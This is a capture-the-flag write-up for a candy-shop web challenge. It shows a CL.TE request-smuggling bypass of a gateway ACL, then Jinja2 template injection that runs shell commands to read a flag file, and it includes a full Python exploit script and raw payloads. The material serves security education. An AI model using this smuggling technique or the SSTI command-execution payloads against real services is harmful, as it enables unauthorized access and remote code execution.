$ cat writeup.md…
$ cat writeup.md…
fortid2026
Task: candy-shop web app with a frontend gateway (403 on /staff/preview) and a Python BaseHTTP backend; a version header selects strict vs lenient framing. Solution: CL.TE request smuggling via 'Transfer-Encoding: chunked, chunked' + X-Client-Version: 1 to bypass the gateway, then Jinja2 SSTI on the staff preview to read the recipe file.
We do not have the original task text. The task presented a candy-shop web application ("Sticky Sweets") reachable over TLS, with a hidden staff preview endpoint and hints about "delivery mode" and "more than one encoding".
The target is a TLS-only HTTP service exposing a candy-shop order form. The goal is to reach a protected internal route (/staff/preview) that the frontend refuses to proxy, exploit the template renderer behind it, and read the recipe file that holds the flag.
Public surfaces:
GET / — "Sticky Sweets" order form. Its JavaScript submits POST /order with X-Client-Version: 2, Content-Type: application/x-www-form-urlencoded, and a single field order.GET /robots.txt — leaks the internal route and the field name:
# Staff preview accepts a form field named message.
User-agent: *
Disallow: /staff/preview
GET/POST /staff/preview — the frontend answers 403 Forbidden; the backend is never asked.Comparing responses reveals two distinct servers:
HTTP/1.1 with no Server/Date header and always closes after one response.HTTP/1.0 responses as Server: BaseHTTP/0.6 Python/3.12.15 (Python's http.server).The 403 is issued by the gateway for the exact raw target /staff/preview. Appending anything to the target (/staff/preview?x=1, /staff/preview/, //, /./, %2e, case variants) makes the gateway pass the request through to the backend, which then exact-matches and returns its own 404 Not found. That is the classic signature of a front ACL on a raw path token plus a separate backend router — two independent HTTP parsers, i.e. a smuggling setup.
X-Client-Version selects the courier "protocol". The shop uses 2; the hints point at an older mode. Setting X-Client-Version: 1 changes how the gateway parses Transfer-Encoding:
X-Client-Version: 1, the gateway only recognises the exact value chunked. A comma list such as chunked, chunked, gzip, chunked, or chunked, gzip is not recognised, so the gateway ignores Transfer-Encoding and falls back to Content-Length.http.server) splits Transfer-Encoding on ,, finds the chunked token, and uses chunked framing.Sending both Transfer-Encoding (a comma list) and Content-Length therefore produces a CL.TE desync: the gateway frames by Content-Length, the backend frames by Transfer-Encoding. With X-Client-Version: 2 the gateway understands the comma list, both sides agree on chunked, and there is no desync — which is exactly why the naive Transfer-Encoding: chunked attempts (and smuggling with default headers) failed.
Send a valid outer request to the allowed /order path. The outer body is a zero-length chunk terminator (0\r\n\r\n) followed by a complete second request. The Content-Length covers the whole buffer, so:
0\r\n\r\n as the outer body and treats the trailing bytes as the next request on the connection — a POST /staff/preview that never touched the gateway's ACL.Byte layout (crlf shown explicitly; CL = length of "0\r\n\r\n" + smuggled request):
POST /order HTTP/1.1
Host: <host>
Content-Type: application/x-www-form-urlencoded
X-Client-Version: 1
Transfer-Encoding: chunked, chunked
Content-Length: <CL>
Connection: keep-alive
0\r\n
\r\n
POST /staff/preview HTTP/1.1
Host: <host>
Content-Type: application/x-www-form-urlencoded
Content-Length: <len(body)>
Connection: close
message=<payload>
The backend replies HTTP/1.0 200 OK (BaseHTTP) with the staff-preview HTML, while the gateway replies HTTP/1.1 200 Order received to the outer request. Reading the whole socket stream yields both responses; the smuggled one is the HTTP/1.0 block, and the rendered result sits in <div class="preview">…</div>.
Notes that matter:
Connection: keep-alive on the outer request so the gateway forwards the trailing bytes on the same backend connection.Transfer-Encoding: chunked, chunked and gzip, chunked / chunked, gzip all work. A single chunked does not — both layers would then agree on chunked framing and no desync occurs.X-Client-Version: 1 is mandatory. With 2, the gateway parses the comma list and the desync disappears.Once the smuggled request reaches the staff handler, the correct field name is message (the robots.txt leak). Probing it identifies a Jinja2 template:
message=hello -> hello
message={{7*7}} -> 49
message={{ 'a'*3 }} -> aaa
message={{ lipsum }} -> <function generate_lorem_ipsum ...>
The expression evaluation confirms server-side template injection.
lipsum.__globals__ exposes the module globals including __builtins__, which carries __import__. That is enough to run commands:
{{ lipsum.__globals__['__builtins__']['__import__']('os').popen('cat /opt/candy/recipe.txt').read() }}
/opt/candy/recipe.txt is a symlink to /tmp/recipe.txt; reading it returns the flag (FortID{REDACTED}).
#!/usr/bin/env python3 """Sticky Headers (FortID 2026) — CL.TE smuggling via 'Transfer-Encoding: chunked, chunked' + X-Client-Version: 1 -> gateway falls back to Content-Length, backend uses chunked -> smuggled POST /staff/preview bypasses the gateway 403 -> Jinja2 SSTI -> read recipe file. Usage: python3 exploit.py <host> [port] """ import socket, ssl, urllib.parse, re, sys, time HOST = sys.argv[1] if len(sys.argv) > 1 else "sticky-headers.example.ctf.fortid.com" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337 def connect(): ctx = ssl._create_unverified_context() ctx.set_alpn_protocols(["http/1.1"]) s = socket.create_connection((HOST, PORT), timeout=10) ss = ctx.wrap_socket(s, server_hostname=HOST) ss.settimeout(6) return ss def recv_all(ss, timeout=6): ss.settimeout(timeout) data = b"" try: while True: c = ss.recv(65536) if not c: break data += c except socket.timeout: pass return data def smuggle(message_payload): body = "message=" + urllib.parse.quote(message_payload) smuggled = ("POST /staff/preview HTTP/1.1\r\n" "Host: %s\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n" "Connection: close\r\n\r\n%s" % (HOST, len(body), body)) poison = b"0\r\n\r\n" + smuggled.encode() # zero-length chunk terminator + 2nd request cl = len(poison) ss = connect() outer = ("Content-Type: application/x-www-form-urlencoded\r\n" "X-Client-Version: 1\r\n" # older courier: strict TE parser "Transfer-Encoding: chunked, chunked\r\n" # comma list NOT understood by gateway "Content-Length: %d\r\n" # gateway trusts this "Connection: keep-alive" % cl) req = ("POST /order HTTP/1.1\r\nHost: %s\r\n%s\r\n\r\n" % (HOST, outer)).encode() + poison ss.sendall(req) data = recv_all(ss, timeout=8) ss.close() text = data.decode(errors="ignore") # backend replies HTTP/1.0; gateway replies HTTP/1.1 idx = text.find("HTTP/1.0") if idx == -1: first = text.find("HTTP/1.1") second = text.find("HTTP/1.1", first + 1) if second == -1: return text idx = second hdr_end = text.find("\r\n\r\n", idx) + 4 m = re.search(r"Content-Length: (\d+)", text[idx:idx + 600]) clen = int(m.group(1)) if m else 8000 body_html = text[hdr_end:hdr_end + clen] m2 = re.search(r'<div class="preview">(.*?)</div>', body_html, re.DOTALL) return m2.group(1).strip() if m2 else body_html if __name__ == "__main__": print("[host] %s:%d" % (HOST, PORT)) print("[+] SSTI check 7*7 ->", repr(smuggle("{{7*7}}"))) time.sleep(0.5) print("[+] find recipe ->", repr(smuggle( "{{ lipsum.__globals__['__builtins__']['__import__']('os')" ".popen('find / -name recipe.txt 2>/dev/null').read() }}"))) time.sleep(0.5) flag = smuggle( "{{ lipsum.__globals__['__builtins__']['__import__']('os')" ".popen('cat /opt/candy/recipe.txt 2>/dev/null || cat /tmp/recipe.txt').read() }}") print("[+] recipe ->", repr(flag))
The bug is narrow and every near-miss variant is a dead end:
Transfer-Encoding: chunked — both layers agree on chunked; no parser differential, only the outer response.X-Client-Version: 2 (or absent) with the comma list — the gateway understands the comma list, both sides choose chunked, again no desync. X-Client-Version: 1 is what makes the gateway strict./staff/preview/, //, /./, %2e, %2f, %74, trailing dot, ;, \t, %00, uppercase) — the gateway passes several of them through, but the backend routes on the exact lowercase /staff/preview including the query, so they all end in 404, never the staff handler.X-Forwarded-*, X-Original-URL, X-Rewrite-URL, X-Accel-Redirect, Client-IP, X-Real-IP, Host/SNI/vhost games, method override) — the ACL ignores them all and still returns 403.HEAD/PUT/PATCH/DELETE/OPTIONS/TRACE/CONNECT, HTTP/1.0, HTTP/0.9, HTTP/2 ALPN/h2c, WebSocket Upgrade) — no bypass; the gateway advertises h2 in ALPN but only speaks HTTP/1.1.CL.0, duplicate Content-Length, TE.CL, TE.TE, 0.CL, hop-by-hop Connection tricks, obs-fold — the front and backend stayed synchronous; only the outer /order response came back.message=/template= on /order — the order endpoint is static for every body and content type; the SSTI only exists on the staff preview.The only working primitive is the comma-separated Transfer-Encoding plus X-Client-Version: 1 combination, which turns the gateway's strict single-token TE check into a Content-Length fallback.
Use this technique when:
403 at the edge, 404 from the app) — a sign of two independent HTTP parsers.Transfer-Encoding / Content-Length disagreement gated by that header.BaseHTTP/0.6 (http.server), which splits Transfer-Encoding on commas — a comma list like chunked, chunked will be honoured by the backend but ignored by a strict frontend.robots.txt or a hint leaks an internal route and the field name it renders.lipsum.__globals__['__builtins__']['__import__']('os') for command execution and file reads.Content-Length and Transfer-Encoding (RFC 7230 §3.3.3), and parse the TE header identically on every hop (handle comma-separated lists consistently).$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar